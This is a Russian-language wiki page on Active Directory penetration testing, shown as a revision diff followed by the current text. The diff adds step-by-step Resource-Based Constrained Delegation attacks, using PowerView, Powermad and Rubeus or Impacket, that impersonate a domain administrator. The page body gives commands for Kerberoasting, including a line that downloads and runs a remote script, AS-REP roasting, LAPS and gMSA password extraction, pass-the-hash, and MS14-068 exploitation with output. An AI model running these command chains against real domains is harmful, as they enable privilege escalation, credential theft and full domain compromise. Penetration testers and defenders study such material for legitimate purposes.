Active directory — различия между версиями
Drakylar (обсуждение | вклад) м (→Делегирования полномочий) |
Drakylar (обсуждение | вклад) м (→Resource Based Constrained Delegation / Ограниченное на основе ресурсов) |
||
Строка 1626: | Строка 1626: | ||
=== Эксплуатация === | === Эксплуатация === | ||
− | ==== Powermad + Powerview + Rubeus ==== | + | ==== Powermad + Powerview + Rubeus (получение доменного админа) ==== |
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" > | <syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" > | ||
Строка 1634: | Строка 1634: | ||
Import-Module .\powerview.ps1 | Import-Module .\powerview.ps1 | ||
− | # 2 | + | # 2. Получить SID пользователя |
+ | $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid | ||
+ | $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID} | ||
+ | $ACE | ||
+ | ConvertFrom-SID $ACE.SecurityIdentifier | ||
+ | # 3. Создать машинную учетку (нужна MachineAccountQuota) | ||
+ | New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force) | ||
+ | |||
+ | # 4. Перезаписываем параметр доменного контроллера AllowedToActOnBehalfOfOtherIdentity | ||
+ | $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid | ||
+ | $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" | ||
+ | $SDBytes = New-Object byte[] ($SD.BinaryLength) | ||
+ | $SD.GetBinaryForm($SDBytes, 0) | ||
+ | Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} | ||
+ | $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity | ||
+ | $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 | ||
+ | $Descriptor.DiscretionaryAcl | ||
+ | |||
+ | # 4. | ||
+ | $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid | ||
+ | $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} | ||
+ | |||
+ | # 4. | ||
+ | StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND | ||
+ | |||
+ | # 5. Получаем хеш пароля | ||
+ | Rubeus.exe hash /password:'Weakest123*' /user:swktest$ /domain:factory.lan | ||
+ | |||
+ | # 6.Имперсонировать доменного админа используя ранее созданную машинную учетку | ||
+ | .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap | ||
+ | .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap | ||
+ | |||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | ==== Impacket + rbcd repo ==== | ||
+ | https://github.com/tothi/rbcd-attack | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | # 1. Создаем фейковый ПК | ||
+ | addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0 | ||
+ | |||
+ | # 2. Добавляем к цели атрибут msDS-AllowedToActOnBehalfOfOtherIdentity с нашим созданным ПК | ||
+ | ./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0 | ||
+ | |||
+ | # 3. Получем TGS на имперсонированный сервис | ||
+ | getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS | ||
+ | |||
+ | # 4. Добавляем тикет и юзаем его | ||
+ | export KRB5CCNAME=`pwd`/admin.ccache | ||
+ | klist | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== Powermad + Powerview + Rubeus (доступ к определенному ПК) ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | |||
+ | # 1. Импорт зависимостей | ||
+ | Import-Module .\powermad.ps1 | ||
+ | Import-Module .\powerview.ps1 | ||
+ | |||
+ | # Наш аккаунт TESTLAB\attacker, у которого есть GenericWrite на права учетки primary$ | ||
+ | whoami | ||
+ | |||
+ | # 2. Устанавливаем домен ПК цели и получаем его SID | ||
+ | $TargetComputer = "primary.testlab.local" | ||
+ | $AttackerSID = Get-DomainUser attacker -Properties objectsid | Select -Expand objectsid | ||
+ | |||
+ | |||
+ | # 3. Подтвердждаем наличие права GenericWrite на $TargetComputer | ||
+ | $ACE = Get-DomainObjectACL $TargetComputer | ?{$_.SecurityIdentifier -match $AttackerSID} | ||
+ | $ACE | ||
+ | |||
+ | # 4. Конвертируем SID | ||
+ | ConvertFrom-SID $ACE.SecurityIdentifier | ||
+ | |||
+ | # 5. Создаем новую машинную учетку attackersystem$ | ||
+ | New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force) | ||
+ | |||
+ | # 6. Получаем SID созданного ПК | ||
+ | $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid | ||
+ | |||
+ | # 7. Устанавливаем RawSecurityDescriptor у созданного ПК | ||
+ | $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" | ||
+ | |||
+ | # 8. Конвертируем байты SDDL | ||
+ | $SDBytes = New-Object byte[] ($SD.BinaryLength) | ||
+ | $SD.GetBinaryForm($SDBytes, 0) | ||
+ | |||
+ | # 9. Устанавливаем новый параметр msds-allowedtoactonbehalfofotheridentity | ||
+ | Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} | ||
+ | |||
+ | # 10. Подтверждаем установку параметра | ||
+ | $RawBytes = Get-DomainComputer $TargetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity | ||
+ | $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 | ||
+ | $Descriptor.DiscretionaryAcl | ||
+ | |||
+ | # 11. Получаем hash нашего пароля | ||
+ | .\Rubeus.exe hash /password:Summer2018! /user:attackersystem /domain:testlab.local | ||
+ | |||
+ | # 12. Получаем доступ к сервису cifs/primary.testlab.local (harmj0y - это доменный админ) | ||
+ | .\Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:harmj0y /msdsspn:cifs/primary.testlab.local /ptt | ||
+ | |||
+ | # 12. Проверяем доступ | ||
+ | dir \\primary.testlab.local\C$ | ||
+ | |||
+ | # 99. Очищаем параметр msds-allowedtoactonbehalfofotheridentity | ||
+ | Get-DomainComputer $TargetComputer | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity' | ||
</syntaxhighlight> | </syntaxhighlight> |
Текущая версия на 14:40, 4 февраля 2022
Страница посвящена тестированию на проникновение сетей Active Directory на Windows OS.
Содержание
- 1 Общая информация о сети
- 2 Дополнительная информация о сети
- 3 Получение начального доступа
- 4 Сбор информации о пользователе
- 5 Автоматизированный поиск уязвимостей
- 6 Атаки
- 7 Делегирования полномочий
Общая информация о сети
Домен
PC в домене
cmd.exe
1 systeminfo | findstr /B /C:"Domain"
1 echo %userdomain%
1 wmic computersystem get domain
powershell
1 import-module activedirectory
2 Get-ADDomain
3
4 # current domain info
5 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
6
7 # domain trusts
8 ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
Удаленно
nmap
У доменного контроллера будут как правило открыты порты: 53/tcp (dns), 389/tcp (ldap), 88/udp (kerberos), 135/tcp.
После того, как nmap найдет доменный контроллер он еще автоматом с аргументом -sV определит домен.
Поэтому для поиска можно просканнировать сеть на данные порты
1 nmap -p 53,389,135 <network/24> -v -sV
ldapsearch
Если мы нашли сервис LDAP, но по каким то причинам nmap не определил домен, то можно попытаться подключиться и самим определить.
1 ldapsearch -x -h 10.10.10.175 -s base namingcontexts
Forest Domains
Домены могут между собой обьединены в "леса" и их тоже можно узнать.
PC в домене
PowerShell
1 import-module activedirectory
2 Get-ADForest
1 # current forest info
2 [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
3
4 # get forest trust relationships
5 ([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
cmd.exe
Доменный контроллер
nslookup
1 set type=all
2 _ldap._tcp.dc._msdcs.DOMAIN_NAME
1 nslookup -type=srv _kerberos._tcp.EXMAPLE.COM
2 nslookup -type=srv _kerberos._udp.EXMAPLE.COM
3 nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM
4 nslookup -type=srv _kpasswd._udp.EXAMPLE.COM
5 nslookup -type=srv _ldap._tcp.EXAMPLE.COM
6 nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM
7 nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM
8
9 # Если запросы идут к FOREST-домену
10 nslookup -type=srv _ldap._tcp.gc._msdcs.%DNSFORESTNAME%.
11 nslookup -type=srv _gc._tcp.%DNSFORESTNAME%.
1 nslookup -type=any %userdnsdomain%.
nltest
1 nltest /dclist:domainname
Powershell ActiveDirectory
1 Import-Module ActiveDirectory
2 (Get-ADDomainController -DomainName <Domain FQDN> -Discover -NextClosestSite).HostName
Powershell Resolve-DnsName
1 Resolve-DnsName -Name _ldap._tcp.dc._msdcs.<YOU_DOMAIN> -Type SRV
gpresult
Мало инфы
1 gpresult
Много инфы
1 gpresult /z
2 or
3 gpresult /Z
nmap
СМ. выше поиск домена используя nmap.
Доменные компьютеры
PC в домене
Powershell Get-ADComputer
1 import activedirectory
2 Get-ADComputer -Filter * -Properties IPv4Address
netdom.exe
1 netdom member
2
3
4 netdom /d:<domain name> \[/u:<domain>\<user to which query> /p:<password\] member
net.exe
1 net view /domain:savtech
Powershell adsisearcher
1 $AD = [adsisearcher]"objectcategory=computer"
2 $Computers = $AD.FindAll()
3 $Computers.Properties.Name
Удаленно
ldapsearch
1 ldapsearch -LLL -H ldap://ad.ourdomain.local -x -D 'OURDOMAIN\user' -w 'thepassword' -b 'dc=ourdomain,dc=local' 'objectClass=computer' name
windapsearch
https://github.com/ropnop/windapsearch
1 windapsearch -C ...
Дополнительная информация о сети
Список пользователей
Без перебора
crackmapexec
1 crackmapexec smb <ip> -u <user> -p <password> --users
powershell
1 Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A
Impacket-GetADUsers
1 python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1
windapsearch
1 windapsearch --users ...
ldapsearch
1 ldapsearch -xLLL -h domain.org -D "domain\\user" -W -b "DC=domain,DC=org" -s sub "(objectclass=user)" sAMAccountName
С перебором
nmap
1 nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <dc_ip>
enum4linux
1 enum4linux -U <dc-ip> | grep 'user:'
Время сети
Вариантов много, но не все работают.
NTP
1 sudo service ntp stop
2 sudo ntpdate -s time.nist.gov
3 sudo service ntp start
1 root@kali:~# rdate -n 10.10.10.248
2 Sun Oct 17 19:41:14 EDT 2021
3
4 date --set 1998-11-02
5 date --set 21:08:00
Вариант 2 - если время откатывается обратно.
1 service ntpd stop
2 update-rc.d -f ntpd remove
3 nano /etc/ntp.conf
4 while true; do date --set 19:46:08 > /dev/null; done;
1 sudo apt-get install chrony
2 sudo timedatectl set-ntp true
3 sudo ntpdate <machine IP>
Отключить VirtualBox автоматическую установку времени
1 VBoxManage setextradata "VM name" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1
HTTP
Можно использовать вместе с прокси
1 proxychains htpdate 172.16.249.204 -s
Сетевая информация
IP
powershell
1 Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
1 $domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
2 $domain | ForEach-Object {$_.DomainControllers} |
3 ForEach-Object {
4 $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
5 New-Object -TypeName PSObject -Property @{
6 Name = $_.Name
7 IPAddress = $hostEntry.AddressList[0].IPAddressToString
8 }
9 } | Select Name, IPAddress
1 Get-WinEvent -Computer (computer name) -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | select @{N='User';E={$_.Properties[1].Value}}
В CSV:
1 $domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
2 $domain | ForEach-Object {$_.DomainControllers} |
3 ForEach-Object {
4 $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
5 New-Object -TypeName PSObject -Property @{
6 Name = $_.Name
7 IPAddress = $hostEntry.AddressList[0].IPAddressToString
8 }
9 } | Export-CSV "C:\DomainControllers.csv" -NoTypeInformation -Encoding UTF8
Сервисы
Group Policy
Доменный ПК
На том же ПК
1 Get-NetGPO -ComputerName name.domain.com
На другом ПК
1 Get-DomainGPO -ComputerIdentity ws01 -Properties Name,DisplayName
Обьекты с определенной политикой
1 Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
Все политики
1 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Все ПК с политикой
1 Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
Получение начального доступа
Анонимный доступ
Для проверки анонимного доступа можно воспользоваться одним из следующих протоколов.
LDAP
windapsearch
1 Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
nmap
1 sudo nmap x.x.X.x -Pn -sV
2
3 # 636/tcp open ssl/ldap (Anonymous bind OK)
SMB
smbmap
1 python smbmap.py -H 192.168.0.1
smbclient
1 smbclient –L 192.168.1.108
nmap
1 sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>
MSRPC
rpcclient
1 rpcclient -U '' -N 10.10.10.1
Учетные данные
Сетевой перебор учетных данных (пароля)
Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force
Стоит заметить, что лучше всего использовать технику Password Spraying тк по-умолчанию аккаунты блокируются от большого количества попыток ввода пароля. Максимум лучше по 3-5 паролей на аккаунт.
Протоколы: SMB, OWA, smtp, skype,...
Оффлайн перебор
NTLM
Если у вас есть NTLM-хеш пароля пользователя, то его можно отправить на перебор.
http://itsecwiki.org/index.php/Offline_bruteforce - тут подробнее о переборе NTLM
Также хеш не обязательно перебирать, его можно будет использовать в следующих этапах при атаке Pass The Hash (когда вместо пароля пользователя отправляется его NTLM-хеш).
TGS
Если у вас есть TGS-ticket для доступа к сервису, то вы можете пробрутить пароль учетки от которой будет идти запрос.
На странице http://itsecwiki.org/index.php/Offline_bruteforce вы можете найти команды для перебора паролей.
Kerberoasting
Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS. Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN
Поиск SPN
Windows в домене
cmd.exe
1 setspn -T TestDomain -Q */*
Пример SPN учетки MSSQLSERVER
1 MSSQLSERVER/SQL-Server.testdomain.com:1433
Powershell
1 $search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
2 $search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
3 $results = $search.Findall()
4 foreach($result in $results)
5 {
6 $userEntry = $result.GetDirectoryEntry()
7 Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
8 Write-host "SPNs"
9 foreach($SPN in $userEntry.servicePrincipalName)
10 {
11 $SPN
12 }
13 Write-host ""
14 }
Invoke-Kerberoast
1 iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
2 Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
Удаленно
Windapsearch
https://github.com/ropnop/windapsearch
https://github.com/ropnop/go-windapsearch
Параметр "user-spns".
Impacket GetUserSPNs
https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
1 python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
Получение TGS
Сложные варианты
TODO
Без SPNS https://swarm.ptsecurity.com/kerberoasting-without-spns/
ASP-REP roasting
Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.
Для эксплуатации требуется выставить у аккаунта жертвы "Kerberos Pre-Authentication" в Disables.
Получить хеш
Rubeus
1 Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
GetNPUsers.py
1 GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request
2
3 python GetNPUsers.py htb.local/svc-alfresco -no-pass
4 python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
5 python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
CrackMapExec
1 crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP
SAM & SYSTEM
Если вы каким то образом получили SAM, SYSTEM-файлы, то вы можете извлечь из них NTLM-пароли пользователей.
Но для того, чтобы получить NTLM-хеш, вам потребуется и SAM и SYSTEM.
Получение хешей
samdump2
1 samdump2 -d ./SAM ./SYSTEM
После чего следуйте инструкциям в пункте про NTLM.
Другие способы получения аккаунта
Пароль в комментариях
Иногда пароль может быть указан в описании пользователя. Таких полей может быть несколько: UserPassword, UnixUserPassword, unicodePwd, msSFU30Password. Поэтому желательно либо прогонять несколько команд, либо дампить пользователей, например, в LDAP и смотреть все поля.
CrackMapExec
1 crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
Enum4Linux
1 enum4linux | grep -i desc
Powershell
1 Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
ldapdomaindump
1 ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
windapsearch https://github.com/ropnop/windapsearch
1 windapsearch --users --full ...
Пароли GMSA
Group Managed Service Accounts (GMSAs) - это групповая управляемая Доменная учетная запись, которая обеспечивает автоматическое управление паролями, упрощенное управление именами участников-служб и возможность делегирования управления другим администраторам. Такой тип управляемой учетной записи службы реализован в ОС Windows Server 2008 R2 и Windows 7. И надо соответственно получить хранящиеся там пароли.
Основные поля:
- msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - хранят параметры безопасности кто может получить доступ к паролям
- msds-ManagedPassword - сам пароль в зашифрованном виде, его еще расшифровать надо
- msDS-ManagedPasswordId - идентификатор пароля
- msDS-ManagedPasswordInterval - информация о том, как часто будет меняться пароль автоматически
В начале требуется найти все аккаунты, у которых есть эти поля. Например, будем основываться на msDS-ManagedPasswordInterval:
1 Get-ADServiceAccount -filter * -prop * | Select Name,msDS-ManagedPasswordId,msDS-ManagedPasswordInterval,msds-ManagedPassword,msDS-GroupMSAMembership
Или используя windapsearch (надо перепроверить команду):
1 windapsearch --users --full --attrs msDS-ManagedPasswordId ...
После чего уже идет этап с эксплуатацией, если у вас есть доступ (поле msDS-GroupMSAMembership):
Powershell
1 $gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
2 $blob = $gmsa.'msDS-ManagedPassword'
3 $mp = ConvertFrom-ADManagedPasswordBlob $blob
4 $hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword
GMSAPasswordReader https://github.com/rvazarkar/GMSAPasswordReader
1 GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
gMSADumper - https://github.com/micahvandeusen/gMSADumper
1 python3 gMSADumper.py -u User -p Password1 -d domain.local
gMSA_Permissions_Collection.ps1 - https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1
1 .\LAPS_Permissions_Collection.ps1 > output.txt
Пароли в LAPS
Local Administrator Password Solution(LAPS) - тупо система которая генерирует и меняет пароли по расписанию.
Особенность в том, что она хранит пароли в cleartext
ms-mcs-AdmPwd - атрибут у учетки ПК, который по-умолчанию могут прочитать только доменные админы.
Достаточно просто прочитать данные параметры у доступных аккаунтов (соответственно если это поле будет нам доступно).
adsisearcher
1 # для всех аккаунтов
2 ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
3
4 # для определенного аккаунта
5 ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
PowerView https://github.com/PowerShellEmpire/PowerTools
1 Import-Module .\PowerView.ps1
2 Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
LAPSToolkit https://github.com/leoloobeek/LAPSToolkit
1 # Если есть права то пароли покажутся, иначе исключения не будет, но поля паролей будут пустыми
2 Get-LAPSComputers
3
4 # Ищет группы которые могут смотреть атрибут LAPS с паролем - ms-Mcs-AdmPwd
5 Find-LAPSDelegatedGroups
6
7 # Парсит ACL(списки управления доступом) каждого ПК в домене и ищет, кто может почитать атрибуты паролей.
8 Find-AdmPwdExtendedRights
Powershell AdmPwd.PS
1 foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
pyLAPS https://github.com/p0dalirius/pyLAPS
1 # Чтение паролей всех ПК
2 ./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
3
4 # Выставить случайный пароль определенному ПК
5 ./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
CrackMapExec https://github.com/byt3bl33d3r/CrackMapExec
1 crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
LAPSDumper https://github.com/n00py/LAPSDumper
1 # cleartext
2 python laps.py -u 'user' -p 'password' -d 'domain.local'
3
4 # passthehash
5 python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
ldapsearch
1 ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
TGT-билет
Как Cookie у браузера, он требуется для получения TGS который в свою очередь используется для подключения к сервисам. Если вы нашли файл с TGT-ключем, то у него есть два формата: kirbi & ccache, поэтому надо сконвертировать.
Конвертация
https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py
1 ./ticket_converter.py admin.ccache admin.kirbi
2 ./ticket_converter.py admin.kirbi admin.ccache
Импорт тикета
!Не забудьте установить время то же, пункт выше!
.ccache
Rubeus
1 .\Rubeus.exe ppt /ticket:new_ticket.ccache
Mimikatz
1 mimikatz # kerberos::ptt new_ticket.ccache
2
3 mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
Bash
1 export KRB5CCNAME=./test.ccache
Сбор информации о пользователе
SID
Получиь SID пользователя, часто нужно для запросов/эксплуатации.
Доступ к ПК
cmd.exe
1 wmic useraccount get name,sid
powershell
1 Convert-NameToSid high-sec-corp.localkrbtgt
2 S-1-5-21-2941561648-383941485-1389968811-502
Группы
С доступом к ПК
Powershell
1 Get-ADPrincipalGroupMembership username | select name
1 Import-Module ActiveDirectory
2 (Get-ADUser userName –Properties MemberOf | Select-Object MemberOf).MemberOf
3
4 (Get-ADUser userName –Properties MemberOf).MemberOf
1 (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf
cmd.exe
1 net user /domain username
Удаленно
Windapsearch
https://github.com/ropnop/windapsearch
1 windapsearch -G ...
Ldapsearch
1 ldapsearch -x -H "ldap://openldap" -D "CN=UserName,CN=Users,DC=YOURDOMAIN,DC=NET" -w admin '(member:1.2.840.113556.1.4.1941)'
1 ldapsearch -LLL -x -h DC-THESHIP.PLANETEXPRESS.LOCAL -p 389 -D 'PLANETEXPRESS\SService' -w 'L1feD3@thSeamlessContinuum' -b 'DC=PLANETEXPRESS,DC=LOCAL' "(member=1.2.840.113556.1.4.1941)" dn
Правила
Доступ к ПК
Powershell
1 string currentuser = Environment.UserName;
2 string currentmachine = Environment.MachineName;
3
4 if (DirectoryEntry.Exists(string.Format("WinNT://{0}/{1}", currentmachine, currentuser)))
5 {
6 Console.WriteLine("it's working\n");
7 Roles.Enabled = true;
8 Console.WriteLine(Roles.GetRolesForUser(currentuser));
9 }
10 else
11 {
12 Console.WriteLine("it's not working");
13 }
Удаленно
Политики
Автоматизированный поиск уязвимостей
BloodHound
PingCastle
Повышение привилегий
Горизонтальные
Вертикальные
Атаки
Некорректная настройка разрешений
Другое
MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
Суть уязвимости в некорректной проверке чексуммы на контроллере доменов, что позволяет получить контроль над всем доменом. Поэтому соответственно проверки локальные на уязвимость должны проходить именно на контроллере доменов.
0. Проверить есть ли уязвимость
Powershell
1 Get-HotFix 3011780
ridenum
1 ~$ git clone https://github.com/trustedsec/ridenum
2 ~$ cd ridenum
3 ~$ python FindSMB2UPTime.py 10.50.50.145
4 DC is up since: 2014-10-19 19:32:23
5 This DC is vulnerable to MS14-068
cmd.exe
1 systeminfo | find "3011780"
1. Получить SID пользователя
Как получить SID: http://itsecwiki.org/index.php/Active_directory#SID
2. Сгенерировать билет
Используя Metasploit:
1 Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
2 Name Current Setting Required Description
3 ---- --------------- -------- -----------
4 DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
5 PASSWORD P@ssw0rd yes The Domain User password
6 RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
7 RPORT 88 yes The target port
8 Timeout 10 yes The TCP timeout to establish connection and read data
9 USER lambda yes The Domain User
10 USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
Используя pykek:
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
1 git clone https://github.com/SecWiki/windows-kernel-exploits
2 cd windows-kernel-exploits
3 python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
4
5 python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
6 -1105
7 [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
8 [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
9 [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
10 [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
11 [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
12 [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
13 [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
14 [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
15 [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
3. Загрузить билет
Как загрузить билет: http://itsecwiki.org/index.php/Active_directory#.D0.98.D0.BC.D0.BF.D0.BE.D1.80.D1.82_.D1.82.D0.B8.D0.BA.D0.B5.D1.82.D0.B0
4. Настроить время
Последний шаг - перед использованием настроить время такое же как и у DC. Выше было как
CVE-2020-1472 Zerologon
Уязвимость эксплуатируется максимум за 256 запросов доменному контроллеру. Ошибка в целом принадлежит реализации netlogon.
